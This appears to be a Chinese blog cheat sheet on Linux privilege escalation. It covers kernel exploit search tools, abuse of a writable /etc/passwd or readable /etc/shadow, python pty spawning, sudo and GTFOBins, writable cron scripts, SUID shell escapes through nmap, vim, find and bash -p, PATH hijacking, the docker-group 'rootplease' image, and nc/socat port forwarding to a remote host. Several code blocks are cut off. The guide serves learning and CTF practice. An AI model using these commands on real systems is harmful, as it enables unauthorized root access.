Linux提权小知识
稍微总结了一下关于 Linux 提权的小知识
内核提权
查看发行版本
1 | cat /etc/issue |
查看内核版本
1 | uname -a |
大多内核漏洞通过内核版本能很快查到
用 kali 自带的 searchsploit 来搜索 exploitdb 中的漏洞利用代码
根据自己的搜索结果,增加搜索选项,缩小结果范围
1 | searchspoit priv esc linux 2.6 ubuntu |
利用第三方工具搜集信息
Linux_Exploit_Suggester 能够列举出给定内核在每个公开的Linux内核漏洞上的暴露情况。
Example:
./linux-exploit-suggester.sh –uname
Linux_Exploit_Suggester 是一款根据操作系统版本号自动查找相应提权脚本的工具,如果不带任何参数运行该脚本的话,将执行 uname -r 返回的操作系统发行版本,或者手工输入-k 参数查找指定版本号
Example:
perl ./Linux_Exploit_Suggester.pl -k 3.0.0
Linuxprivchecker 本地执行,可以列举出基本的系统信息并搜索常见的提权信息,如普通用户可写文件,错误配置,明文密码和可用的 exp。
Example:
python Linuxprivchecker.py
LinEnum 可以列出详细的各种系统、文件和服务信息,定位出可能存在提权的地方,与上面的 linuxprivchecker 类似
Example:
./LinEnum.sh -r report -e /tmp/ -t
当内核版本没有好用的exp对应的时候,可以检查磁盘格式
1 | cat /etc/fstab |
和已经安装的程序
1 | dpkg -l |
明文 root 密码提权
大多 linux 系统的密码都和 /etc/passwd 和 /etc/shadow 这两个配置文件息息相关。passwd 里面存储了用户,shadow 里面存储了密码的 hash
出于安全考虑 passwd 是全用户可读,root可写的,而 shadow 是仅 root 可读写的
检查文件权限
1 | cd /etc |
/etc/passwd 可写
passwd 由冒号分割,第一列是用户名,第二列是密码,x 代表密码 hash 被放在 shadow 里面了
如果 passwd 可写,我们就可以把 root 的密码字段替换成一个已知密码的 hash,这样系统在验证密码时以 passwd 的为准
/etc/shadow 可读
如果shadow可读,我们可以读走 root 的 hash,然后用 hashcat 或者 john 暴力破解。
启动终端
出于安全考虑,linux 要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo 在你输入密码的时候本质上是读取了键盘,而不是 bash 里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。我们可以利用 python 启动一个终端
1 | python -c 'import pty;pty.spawn("/bin/sh")' |
就用 python 建立了一个虚拟终端,然后就可以使用 sudo 等等命令了。
1 | python -c 'import pty;pty.spawn("/bin/sh")' |
sudo 滥用
sudo 是让普通用户使用超级用户的命令,其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。
利用 sudo -l
查看当前用户可使用的 sudo 命令
然后我们可以参考 https://gtfobins.github.io 进行提权
强烈推荐此博客,它整理了 Unix 内部可用于绕过本地安全限制的二进制文件
计划任务提权
系统内可能会有一些定时执行的任务,一般这些任务由 crontab 来管理,具有所属用户的权限。非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc 内系统的计划任务可以被列出
1 | ls -l /etc/cron* |
默认这些程序以 root 权限执行,如果有幸遇到其中一个脚本被配置成任意用户可写,我们就可以修改脚本等反弹 root shell。
rontab 计划任务千万不要写到 /etc/crontab 文件里。通过 crontab -e 去创建,让他写到默认的 /var/spool/cron下;创建任务时,避免使用 root 去创建任务,若用 root 创建任务,注意设置权限,避免 root 权限执行任务。
SUID 提权
SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。比如 passwd 命令,就是以 root 权限运行来修改 shadow 的。
注意:只有这个程序的所有者是 0 号或其他 super user,同时拥有 SUID 权限,才可以提权。
参考:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
命令行查找 SUID 文件
1 | find / -user root -perm -4000 -print 2>/dev/null |
这里举一个例子:
1 |
|
以 root 进行编译和权限设置
1 | gcc pri.c -o pri |
输出
1 | total 24 |
注意 s 属性,表示这个程序有 SUID 属性。
接下来我们切换用户并执行可以发现提权成功
1 | su ctf |
而除了借助程序功能提权,我们还可以尝试劫持环境变量提权。上文的 pri 程序使用了 system 函数,system 函数是继承环境变量的,因此我们通过替换环境变量可以达到执行任意命令的效果。
继续以上面的 pri 程序为例,我们来尝试劫持 id 命令,修改环境变量路径
1 | echo $PATH |
方法一
修改 id 命令
1 | echo '/bin/sh' > /tmp/id |
方法二
直接复制一个 bash
1 | cp /bin/sh /tmp/id |
方法三
建立一个软链接(需要一定的权限)
1 | ls -l /bin/sh /tmp/id |
运行程序提权
1 | ./pri |
这里列出一些常用的可用于 SUID 提权的文件
这里我们也可以再次借鉴神博客 https://gtfobins.github.io
1 | - nmap |
namp
较旧版本的 Nmap(2.02~5.21)带有交互模式,从而允许用户执行 shell 命令。由于 Nmap 位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的 shell。
可以使用下命令进入namp交互模式
1 | nmap --interactive |
执行命令后会返回一个shell
1 | !sh |
而在 Metasploit 中也有一个模块可以通过 SUID nmap 进行提权
1 | exploit/unix/local/setuid_nmap |
vim
Vim 的主要用途是用作文本编辑器。 但是,如果以 SUID 运行,它将继承 root 用户的权限,因此可以读取系统上的所有文件
1 | vim /etc/shadow |
find
如果 find 以 SUID 权限运行,所有通过 find 执行的命令都会以 root 权限运行
1 | touch test |
bash
以下命令将以 root 身份打开一个 bash shell
1 | bash -p |
less
程序 less 也可以执行提权后的 shell
1 | less /etc/passwd |
nano
以下命令可以打开一个提权后的 shell
1 | ./nano |
cp
写文件
1 | LFILE=file_to_write |
执行命令
1 | LFILE=file_to_write |
Docker 组提权
docker 组用户提权,目的是利用 docker 组的用户来提权,因为 docker 组用户在容器下为 root 权限,通过挂载方式在容器下给本机添加 sudo 权限的用户,从而可以利用 sudo 命令。
参考 https://fosterelli.co/privilege-escalation-via-docker.html
普通用户执行这条命令就可以获得root权限
1 | docker run -v /:/hostOS -i -t chrisfosterelli/rootplease |
如果没有拥有 sudo 权限的用户,是无法执行 sudo 命令,在 kali 下会提示用户不在 sudoers 等提示。
服务漏洞
有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程 root 漏洞。
1 | netstat -antup # 查看各种网络服务 |
如果找到些神秘的服务,可以用 netcat 或者 socat 等工具做端口转发
nc 单向转发
1 | nc -l 8080 | nc remote_host 4444 |
nc 双向转发
1 | mkfifo backpipe nc -l 8080 0<backpipe | nc remote_host 4444 1>backpipe |
socat tcp 转发
1 | socat -d TCP4-LISTEN:80,reuseaddr,fork TCP4:remote_host:4444 |
socat udp 转发
1 | socat -T 600 UDP4-LISTEN:5353,reuseaddr,fork UDP4:remote_host:4444 |
常见服务漏洞
- redis
- mysql
- mssql
- nfs
参考资料
https://www.freebuf.com/articles/system/129549.html